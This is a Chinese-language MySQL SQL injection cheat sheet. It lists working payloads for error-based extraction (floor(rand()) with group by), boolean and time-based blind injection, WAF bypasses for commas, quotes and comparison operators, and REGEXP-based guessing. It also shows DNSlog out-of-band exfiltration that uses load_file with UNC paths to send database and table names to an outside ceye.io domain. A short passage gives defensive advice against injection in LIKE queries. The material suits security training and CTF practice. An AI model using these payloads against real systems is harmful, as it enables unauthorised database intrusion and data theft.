错误回显:
count() 统计元祖的个数(相当于求和),如:select count(*) from information_schema.tables;
rand()用于产生一个0~1的随机数,如select rand();
floor()向下取整,如select floor(rand()*2);
group by 依据我们想要的规矩对结果进行分组,如
select table_name,table_schema from information_schema.tables group by table_name;
group_concat将符合条件的同一列中的不同行数据拼接,如select group_concat(0x3a,0x3a,database(),0x3a); 0x3a是十六进制的 ":"
又因头太长,为了美观,可以起一个别名,select group_concat(0x3a,0x3a,database(),0x3a)name;
select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name;
先生成随机数,并取证,然后用分号将不同的数据拼接,并取别名name,最后将结果以name进行分组并进行统计,能看到统计出的两个不同的取值,0和1。
再进行多次重复,看一下关于rand()函数与group by 在mysql中的错误报告,我们就是要利用group by part of rand() returns duplicate key error这个bug。
RAND() in a WHERE clause is re-evaluated every time the WHER is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
--这个bug会爆出duplicate key这个错误,然后顺便就把数据也给爆了
公式:
username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,
(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,
( select group_concat(schema_name)
from information_schema.schemata ) )name
from information_schema.tables group by name)a)
--爆出所有库名,同上面一样,假设有falg库
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,
( select group_concat(table_name)
from information_schema.tables where table_schema='flag' ) )name
from information_schema.tables group by name)a)
--爆出flag下的所有表,假设有flagtable表
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,
( select group_concat(column_name) from information_schema.columns
where talbe_name ='flagtable' ) )name
from information_schema.tables group by name)a)
--爆出flagtable表的所有字段,假设有name和password
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,
( select group_concat(name,password) from flag.flagtable ) )name
from information_schema.tables group by name)a)
--爆出name和password字段的内容
bool盲注:
mid()函数
此函数为截取字符串一部分。
MID(column_name,start[,length])
参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
例如: str="123456" mid(str,2,1) 结果为2
Sql用例:
(1)MID(DATABASE(),1,1)>'a',查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
Sql用例:
(1) substr(DATABASE(),1,1)>'a',查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'此处string参数可以为sql语句,可自行构造sql语句进行注入。
Left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n ) string为要截取的字符串,n为长度。
Sql用例:
(1) left(database(),1)>'a',查看数据库名第一位,left(database(),2)>'ab',查看数据库名前二位。
(2) 同样的string可以为自行构造的sql语句。
同时也要介绍ORD()函数,Ord()函数同 ascii(),将字符转为 ascii,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。
例如
ORD(MID(DATABASE(),1,1))>114
意为检测database()的第一位ASCII码是否大于114,也即是'r'
运算false盲注:
遇到引号闭合变量时,利用隐式转换,字母都被转成0
在这里仅考虑对错(1,0)
例如:
加法:
where user = 'admin' + (substr((select 1111),1,1)=1);
select 'admin' + (substr((select 1111),1,1)=1); 返回1
select 'admin' + (substr((select 1111),1,1)=2); 返回0
where user = '1admin' * (substr((select 1111),1,1)=1);
select '1admin' * (substr((select 1111),1,1)=1); 返回1
select '1admin' * (substr((select 1111),1,1)=2); 返回0
其他逻辑运算,位运算同理。
时间盲注:
web页面的返回值只有一种,true,无论输入任何值,它的返回都会按正确的来处理。加入特定的时间函数,通过查看是web页面返回的时间差来判断注入的语句是否正确
sleep()函数
执行将程序(进程)挂起一段时间
if(expr1,ecpr2,expr3)判断语句
爆库名
and if(ascii(
substr
(
(select schema_name from information_schema.schemata limit 1,1) ,1,1
)
)>100,1,sleep(3)) --使用二分法,一步一步爆出数据库名,假设其中有一数据库名为flag
爆表名
and if(ascii(substr((select table_name from information_schema.tables where table_schema='flag' limit 1,1) ,1,1))>101,1,sleep(3)) --假设有一表名为flagtable
爆列名
and if(ascii(substr((select column_name from information_schema.columns where table_name='flagtable' limit 1,1) ,1,1))>100,1,sleep(3)) --假设爆出列名为name和password
爆表中的内容
and if(ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3))
like 模糊查询:
like 匹配/模糊匹配,会与 % 和 _ 结合使用。
like可以代替'='
'%a' //以a结尾的数据
'a%' //以a开头的数据
'%a%' //含有a的数据
'_a_' //三位且中间字母是a的
'_a' //两位且结尾字母是a的
'a_' //两位且开头字母是a的
比如:
查询以 java 字段开头的信息。
SELECT * FROM position WHERE name LIKE 'java%';
查询包含 java 字段的信息。
SELECT * FROM position WHERE name LIKE '%java%';
查询以 java 字段结尾的信息。
SELECT * FROM position WHERE name LIKE '%java';
like在SQL注入中:
where 1=1 AND
i.institution_short_name LIKE '%institutionName%'
如果用户输入:%'AND 1=1 AND '%' =',
会构成如下SQL,精简后如下,是能正确返回记录的,即存在SQL注入:
where 1=1 AND
i.institution_short_name LIKE '%%' AND 1=1 AND '%'='%'
解决办法:
1、尽量避免采用的方式,会导致SQL注入,LIKE '%institutionName%' 和 LIKE concat('%',institutionName,'%') 都会导致SQL注入;
2、尽量采用#的方式,#将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号;更详细的可以查看$和#的区别;
3、对于例子中的模糊查询,可以用#结合concat函数连接,即修改为LIKE concat('%',#institutionName#,'%') ;
4、以上只是编码LIKE语句的SQL注入防范,实际中需要对用户输入进行过滤处理;
符号拦截绕过:
逗号绕过:
在联合注入时,使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,然后再 UNION SELECT 1,2,3,4,database(),6,7..n ,
这是一个常规流程,语句中包含了多个逗号。
如果waf拦截了逗号,就用join绕过:
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
select * from news limit 0,1
等价于下面这条SQL语句
select * from news limit 1 offset 0
引号绕过:
select column_name from information_schema.tables where table_name="users"
把字符换成十六进制:
select column_name from information_schema.tables where table_name=0x7573657273
大小于绕过;
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
REGEXP :
查找name字段中以'st'为开头的所有数据:
mysql> SELECT name FROM person_tbl WHERE name REGEXP '^st';
查找name字段中以'ok'为结尾的所有数据:
mysql> SELECT name FROM person_tbl WHERE name REGEXP 'ok$';
查找name字段中包含'mar'字符串的所有数据:
mysql> SELECT name FROM person_tbl WHERE name REGEXP 'mar';
查找name字段中以元音字符开头或以'ok'字符串结尾的所有数据:
mysql> SELECT name FROM person_tbl WHERE name REGEXP '^[aeiou]|ok$';
利用:
在MYSQL 5+中information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:
- 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。
注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1)
- 判断第一个字符是否是a-n中的字符
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
- 确定该字符为n
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1)
- 表达式的更换如下
expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = ’news‘ 就行了。
- 接下来猜解其它表了 (只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了)这里是错误的!!!
regexp匹配的时候会在所有的项都进行匹配。例如:
security数据库的表有多个,users,email等
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确
实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema='security' limit 0,1。table_schema='security'已经起到了限定作用了,limit有没有已经不重要了。
limit 作用在前面的 select 语句中,而不是 regexp。
那我们该如 何选择。其实在 regexp 中我们是取匹配 table_name 中的内容,
只要 table_name 中有的内 容,我们用 regexp 都能够匹配到。因此上述语句不仅仅可以选择 user,还可以匹配其他项。
错误不回显
--- dnslog
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。
常用在:
- SQL注入中的盲注
- 无回显的命令执行
- 无回显的SSRF
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban,所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
首先,你得有一个域名(like: abc.com),搭建好vps环境,之后访问XXXXX.abc.com,dns服务会将此解析放入log记录中,之后我们可以通过查看log记录来获取之前select查询到的信息。
只要有账户,便会给你提供一个二级域名XXX.ceye.io,我们只要将信息放在三级域名那就可以收到信息了,例如上面几个例子,访问aaa.XXX.ceye.io,这个信息就被记录下来了。
load_file介绍:
LOAD_FILE(file_name)
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,
必须指定完整路径的文件,而且必须有FILE权限。
该文件所有字节可读,但文件内容必须小于max_allowed_packet。
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
在MySQL5.0.19,character_set_filesystem系统变量控制文件名的解释,即仅作文字字符串。
load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的——UNC路径。
以下是百度的UNC路径的解释
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
\\sss.xxx\test\
实战举例:
payload?id=1' and if((select load_file(concat('\\\\',
(select database()),'.XXXXX.ceye.io\\abc'))),1,1)--+
这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径
select load_file(concat('\\\\\\\\',(select database()),'.XXXX.ceye.io\\abc'))
拼接的结果就是'\\ schema_name.XXXX.ceye.io\abc',其实相当于访问了带有数据库名称的三级域名,被dnslog捕获到了
括号里的(select database())就是注入的地方
再以SQL-lab的第五关为例:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.******.ceye.io\\abc'))),1,1)--+
得到数据库
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables
where table_schema='security' limit 0,1),'.******.ceye.io\\abc'))),1,1)--+
逐个查表,用limit。